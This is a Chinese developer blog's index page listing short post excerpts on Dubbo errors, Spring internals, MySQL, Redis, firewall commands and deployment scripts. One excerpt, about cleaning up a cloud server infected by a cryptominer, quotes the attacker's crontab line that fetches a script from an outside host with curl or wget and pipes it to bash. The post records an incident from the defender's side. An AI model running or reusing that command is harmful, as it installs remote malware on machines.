- 博客(272)
- 资源 (10)
- 收藏
- 关注
原创 dubbo中间件包com.alibaba.dubbo.remoting.RemotingException异常问题
com.alibaba.dubbo.remoting.RemotingException:client (url:dubbo:ip地址:port端口/com.alibaba.dubbo.monitor.MonitorService?在对应的配置文件或者server.properties配置文件当中添加配置。
2023-03-21 10:49:09
1031
原创 SQL问题
注解方式的IOC流程AnnotationConfigApplicationContext applicationContext = new AnnotationConfigApplicationContext(BeanConfig.class); UserEntity userEntity = (UserEntity)applicationContext.getBean("userEntity");
2021-10-28 10:18:05
134
原创 IDEA 编译spring源码项目
一、编译1、下载spring源码:a>使用git git clone https://github.com/spring-projects/spring-framework.gitb>直接下载zip压缩包,解压到本地2、下载gradlea>根据spring根目录下的gradle–>D:\spring\spring-framework-5.2.x\gradle\wrapper\gradle-wrapper.properties文件里的distributionUrl,下载对应的
2021-07-15 20:15:35
676
1
转载 springboot跨域过滤器与swagger拦截器冲突的解决方案
最近在做一个项目,有这样的使用场景,首先是前后端分离,联调的时候出现了跨域问题。所以添加了一个处理跨域的过滤器。代码如下:@Order(1)@Component@WebFilter(urlPatterns = "/*", filterName = "cooCorsFilter")public class CooCorsFilter implements Filter { String ORIGIN = "Origin"; @Override public void ...
2021-05-31 16:55:52
1119
原创 防火墙iptables宇firewalld
iptables:启动:systemctl start iptablessystemctl restart iptablessystemctl status iptablesiptables -I INPUT -p tcp --dport 3306 -j ACCEPT 开发3306端口service iptables savefirewalld:systemctl status firewalldsystemctl status firewalld.servic...
2021-05-25 15:38:21
100
转载 linux下安装mysql-5.7.25详细步骤
第一步:下载进入到mysql官网下载自己对应版本的mysql,下载地址:https://dev.mysql.com/downloads/mysql/5.7.html#downloads我这里下载mysql-5.7.25-linux-glibc2.12-x86_64.tar.gz版本也可以进入linux后用命令下载wget https://cdn.mysql.com//Downloads/MySQL-5.7/mysql-5.7.25-linux-glibc2.12-x86_64.tar.gz
2021-05-25 15:03:24
190
原创 记录一次腾讯云木马攻击
客户服务运行越来越慢,今天居然挂了,上服务去看free -h 发现服务器内存消耗巨大,top查看果然xmrig以及.libs进程消耗掉了大部分cpu和内存。 直接kill发现还是会继续存在于是执行crontab -l 发现30 23 * * * (curl -s http://w.apacheorg.top:1234/xmss||wget -q -O - http://w.apacheorg.top:1234/xmss )|bash -sh下载 http://w.apacheo...
2021-05-24 17:33:13
1090
原创 springboot连接oracle集群oracle导致出错
当不为oracle集群的时候使用直接连语句是没有问题的spring.datasource.url=jdbc:oracle:thin:@ip:prot:sid但是当使用oracle语句或者遇到oracle版本问题是会出现连接问题使用ora连接就不会有这个问题spring.datasource.url=jdbc:oracle:thin:@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=172.30.65.54)(PORT=11521))(CONNECT_D
2020-07-03 19:21:49
613
原创 windows监控脚本
windows下监控17100端口的jar包,断掉重新启动@echo offtitle Program monitoring:againset ip=127.0.0.1set port=17100netstat -ano|findstr %port%if ERRORLEVEL 1 (goto err) else (goto ok):errjava -jar uap-regi...
2020-03-11 15:03:29
569
原创 springboot小程序后台https
1、classpath下放证书pfx2、配置文件当中添加server.ssl.key-store=classpath:xxxx.top.pfxserver.ssl.key-store-password=xxxx(密码)server.ssl.keyStoreType=PKCS12
2020-03-10 15:04:08
537
原创 jenkins部署
1、svn需要源代码位置需要添加到对应的工程目录2、gradle中存在多个module的问题,只需要构建最外层的build.gradle这样就可以将里面所有的项目打包3、构建完成之后在 构建 ---增加构建步骤----(windods些bat脚本 linux些shell脚本)windows下的@echo offset port=8060for /f "token...
2020-02-12 11:52:05
235
原创 HashMap ConcurrentHashMap 原理底层实现(1.7 1.8 )
https://blog.youkuaiyun.com/qq_36520235/article/details/82417949
2019-12-16 18:11:30
226
原创 Redis总结
redis支持五种数据类型:String hash list set(集合)及 zsetsorted set:有序集合)redis持久化机制:日志持久化AOF(Append-only file)和快照持久化RDBredis的数据淘汰机制:noeviction:返回错误当内存限制达到并且客户端尝试执行会让更多内存被使用的命令(大部分的写入指令,但DEL和几个例外)allkeys...
2019-12-13 09:44:11
214
原创 mysql总结
1、主从复制,2、sql优化(不用in,count(*),where不用函数,用between and exists等)https://blog.youkuaiyun.com/wenzhenyu1990/article/details/873636373、常见sql的书写(not exists所有都用(双重not exists)) , group by having ,max(ca...
2019-12-11 17:26:54
132
原创 常用的linux命令
1、查看进程ps -ef | grep jar2、启动Java -jar .jar &3、查看日志tail -f 4、日志查找grep -10 '11111111111115sssssssssss' dobi_order-info.log
2019-12-09 16:06:53
94
原创 Druid数据库连接池
1、maven添加druid以及mysql连接 <dependency> <groupId>com.alibaba</groupId> <artifactId>druid-spring-boot-starter</artifactId> <vers...
2019-12-09 10:26:21
186
原创 springboot +mybatis 事务问题
1、昨天线上发生的问题: 事务获取不到锁org.springframework.dao.CannotAcquireLockException: ### Error updating database. Cause: com.mysql.jdbc.exceptions.jdbc4.MySQLTransactionRollbackException: Lock wait timeout ex...
2019-12-03 16:15:38
375
原创 Mysql比较
sql优化:https://www.cnblogs.com/lonnie/p/8320095.html1、当数据库统计一天的数据但是数据库字段存的是datatime类型的时候(当然最好是直接使用data日期类型)where语句当中使用data_format和like的时间区别(原则最好在where语句的右边最好不要有函数计算同时也不要使用like这样会造成遍历全表 )确实要使用的时候 ...
2019-12-02 11:29:58
127
原创 springboot整合mybatis执行ddl语句
mybatis中也能执行ddl语句,需要写成update语句如:mapp.java文件当中void createCoinTable(@Param("tableName") String tableName);xml 文件当中 <update id="createCoinTable" > CREATE TABLE ${tableName} ...
2019-11-30 10:37:13
3840
原创 记录一下昨天的尴尬
昨天添加短信邮件发送功能时,时间紧急,直接在service层当中加如了 ,短信发送和邮件发送的代码。然后就提交了结果尴尬的没注意到@Transactional标识,就这样愉快的上线了然后昨天放假的时候,云片短信的短信调用功能出问题了,然后短信发送出错导致整个事务回滚,导致整个程序不能运行整个尴尬呀以后一定要注意 @Transactional...
2019-11-25 17:04:00
108
转载 springboot整合websocket的实现
https://www.cnblogs.com/strugglion/p/10021173.html1.2 第二种实现方法(1)WebSocket 业务逻辑实现。参数传递采用类似GET请求的方式传递,服务端的参数在拦截器中获取之后通过attributes传递给WebSocketHandler。import java.util.ArrayList;import java.u...
2019-10-10 15:46:42
205
原创 数据一致的问题
悲观锁synchronized以及ReentrantLock都是悲观锁:乐观锁加version版本号 select amount, version from test_thread.u_amount where u_id = #{ userId }使用如下就可解决高并发问题 原因?...
2019-09-27 11:10:11
95
原创 Jmeter的使用(模拟高并发)
1、汉化安装目录下的jmeter.properties 找到language 将器设置为zh_CN2模拟高并发1)文件--新建(测试计划(可以重新命名))2)放测试计划上 右键--添加--线程用户--线程组 可以设置线程数和执行次数3)线程组 右键 ---添加--取样器--http请求 填写 http参数4)点击绿色执行按钮执行...
2019-09-26 18:30:25
690
原创 RSA签名问题
RSA参数校验问题中会遇到的问题:1、与PHP对接的时候签名算法的问题:PHP默认使用的是:SHA1withRSA 签名算法 而JAVA 一般我们默认的是:MD5withRSA 所以对接的时候需要统一2、签名的问题json的时候JSON包去排序 String jsonResult = JSON.toJSONString(transferDaoVo, Se...
2019-08-28 13:48:51
414
原创 SpringBoot 启动报错 Unsatisfied dependency expressed through field 'coreService'
今天帮别人解决一个问题,因为使用的feign进行系统间调用出现了Unsatisfied dependency expressed through field 'coreService' 的问题远程调用的接口@FeignClient(name = "coreserver" )public interface CoreService { @RequestMapping(va...
2019-08-22 10:50:51
9799
1
原创 切换数据库服务导致springboot启动问题
记录一下昨天遇到的问题:切换成阿里云的mysql服务以后,springboot服务启动报错;提示数据库表不存在;com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: Table 'jeewms.T_S_student' doesn't exist主要是因为linux下mysql表名大小写灵敏而windows下my...
2019-08-10 18:36:31
334
原创 Maven 冲突
打开方式: 方法一:该工具有个Maven Projects窗口,一般在右侧能够找到,如果没有可以从菜单栏打开:View>Tool Windows>Maven Projects;选择要分析的maven module(idea的module相当于eclipse的project),右击【Show Dependencies...】,会出来该module的全部依赖关系图 方法二:在M...
2019-08-08 18:12:05
145
原创 GIT提交
今天git代码执行了git add . git commit -m "" git push 三条语句后 还是没有提交原来git commit -m ""要求后面的注释必须写上相对应的注释
2019-08-07 13:57:06
107
原创 Spring问题
1、Spring加载过程 refresh()的十二个步骤2、BeanFactory与FactoryBean3、BeanPostProcessor与BeanFactoryPostProcessor4、Spring中Bean的生命周期5、@Import @ImportSelector @ImportBeanDefinitionRegistrar导入6、向Context容器中添...
2019-08-05 11:32:52
90
转载 BeanFactory 与FactoryBean的区别
原文链接:https://www.cnblogs.com/aspirant/p/9082858.htmlBeanFacotry是spring中比较原始的Factory。如XMLBeanFactory就是一种典型的BeanFactory。原始的BeanFactory无法支持spring的许多插件,如AOP功能、Web应用等。ApplicationContext接口,它由BeanFactory接...
2019-08-05 11:26:09
93
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人